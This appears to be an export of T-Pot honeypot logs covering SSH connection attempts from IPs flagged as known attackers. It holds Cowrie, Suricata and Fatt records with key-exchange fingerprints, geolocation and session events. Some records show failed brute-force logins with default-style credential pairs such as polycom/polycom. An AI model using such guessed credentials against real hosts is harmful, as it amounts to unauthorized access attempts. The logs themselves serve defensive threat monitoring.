"AAADzAYUufTgSm7z3g3VvOY9VBDC+gAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 46396, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:38:30.649327Z", "@timestamp": "2021-09-20T11:38:30.649Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ".........Jn..\\r...=T......(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	\N
30773	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:38:30.645522+03	2021-09-20 14:45:03.608142+03	{"_id": "MQYAA3wBvYTbRNuEHD8S", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "150.109.115.128", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 46396, "timestamp": "2021-09-20T11:38:30.645522", "@timestamp": "2021-09-20T11:38:30.645Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
30774	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 14:38:30.43302+03	2021-09-20 14:45:03.610142+03	{"_id": "LQYAA3wBvYTbRNuEGT9v", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "150.109.115.128", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 150.109.115.128:46396 (192.168.176.2:22) [session: b17e64d4928a]", "session": "b17e64d4928a", "@version": "1", "protocol": "ssh", "src_port": 46396, "dest_port": 22, "timestamp": "2021-09-20T11:38:30.433020Z", "@timestamp": "2021-09-20T11:38:30.433Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
30775	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 14:38:30.440137+03	2021-09-20 14:45:03.611142+03	{"_id": "LgYAA3wBvYTbRNuEGT9v", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "150.109.115.128", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "b17e64d4928a", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:38:30.440137Z", "@timestamp": "2021-09-20T11:38:30.440Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
30776	150.109.115.128	109.199.241.180	Suricata	2021-09-20 14:38:30.645356+03	2021-09-20 14:45:03.612142+03	{"_id": "LwYAA3wBvYTbRNuEGz8A", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "150.109.115.128", "dest_ip": "192.168.20.116", "flow_id": 2086978073288471, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 46396, "dest_port": 22, "timestamp": "2021-09-20T11:38:30.645356Z", "@timestamp": "2021-09-20T11:38:30.645Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
30777	150.109.115.128	109.199.241.180	Fatt	2021-09-20 14:38:30.649327+03	2021-09-20 14:45:03.614142+03	{"_id": "MgYAA3wBvYTbRNuEHD8S", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "150.109.115.128", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 46396, "dest_port": 22, "timestamp": "2021-09-20T11:38:30.649327", "@timestamp": "2021-09-20T11:38:30.649Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
30778	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 14:38:30.649958+03	2021-09-20 14:45:03.615142+03	{"_id": "MwYAA3wBvYTbRNuEHT9H", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "150.109.115.128", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "b17e64d4928a", "@version": "1", "timestamp": "2021-09-20T11:38:30.649958Z", "@timestamp": "2021-09-20T11:38:30.649Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
30779	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 14:38:31.553797+03	2021-09-20 14:45:03.616142+03	{"_id": "NAYAA3wBvYTbRNuEIT8w", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "150.109.115.128", "eventid": "cowrie.login.failed", "message": "login attempt [polycom/polycom] failed", "session": "b17e64d4928a", "@version": "1", "password": "polycom", "username": "polycom", "timestamp": "2021-09-20T11:38:31.553797Z", "@timestamp": "2021-09-20T11:38:31.553Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
30781	159.253.30.249	109.199.241.180	Fatt	2021-09-20 14:38:19.66486+03	2021-09-20 14:45:03.619143+03	{"_id": "-gb_AnwBvYTbRNuE8T4T", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "ip_rep": "known attacker", "src_ip": "159.253.30.249", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 46786, "dest_port": 22, "timestamp": "2021-09-20T11:38:19.664860", "@timestamp": "2021-09-20T11:38:19.664Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
30782	176.60.208.43	109.199.241.180	Fatt	2021-09-20 14:38:23.945716+03	2021-09-20 14:45:03.620142+03	{"_id": "DgYAA3wBvYTbRNuEAD-2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "ip_rep": "known attacker", "src_ip": "176.60.208.43", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 57906, "dest_port": 22, "timestamp": "2021-09-20T11:38:23.945716", "@timestamp": "2021-09-20T11:38:23.945Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
30783	176.60.208.43	109.199.241.180	Cowrie	2021-09-20 14:38:23.861619+03	2021-09-20 14:45:03.622142+03	{"_id": "FAYAA3wBvYTbRNuEAT_r", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "176.60.208.43", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 176.60.208.43:57906 (192.168.176.2:22) [session: fbc1e257e4da]", "session": "fbc1e257e4da", "@version": "1", "protocol": "ssh", "src_port": 57906, "dest_port": 22, "timestamp": "2021-09-20T11:38:23.861619Z", "@timestamp": "2021-09-20T11:38:23.861Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
30784	176.60.208.43	109.199.241.180	Cowrie	2021-09-20 14:38:24.383271+03	2021-09-20 14:45:03.623142+03	{"_id": "FgYAA3wBvYTbRNuEAT_r", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "176.60.208.43", "eventid": "cowrie.login.failed", "message": "login attempt [nick/nick] failed", "session": "fbc1e257e4da", "@version": "1", "password": "nick", "username": "nick", "timestamp": "2021-09-20T11:38:24.383271Z", "@timestamp": "2021-09-20T11:38:24.383Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
30785	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:38:19.608413+03	2021-09-20 14:45:03.625142+03	{"_id": "-wb_AnwBvYTbRNuE8T4T", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "159.253.30.249", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 46786, "timestamp": "2021-09-20T11:38:19.608413", "@timestamp": "2021-09-20T11:38:19.608Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
30786	176.60.208.43	109.199.241.180	Cowrie	2021-09-20 14:38:25.470764+03	2021-09-20 14:45:03.627142+03	{"_id": "HgYAA3wBvYTbRNuEBT_V", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "176.60.208.43", "eventid": "cowrie.session.closed", "message": "Connection lost after 1 seconds", "session": "fbc1e257e4da", "@version": "1", "duration": 1.6064391136169434, "timestamp": "2021-09-20T11:38:25.470764Z", "@timestamp": "2021-09-20T11:38:25.470Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
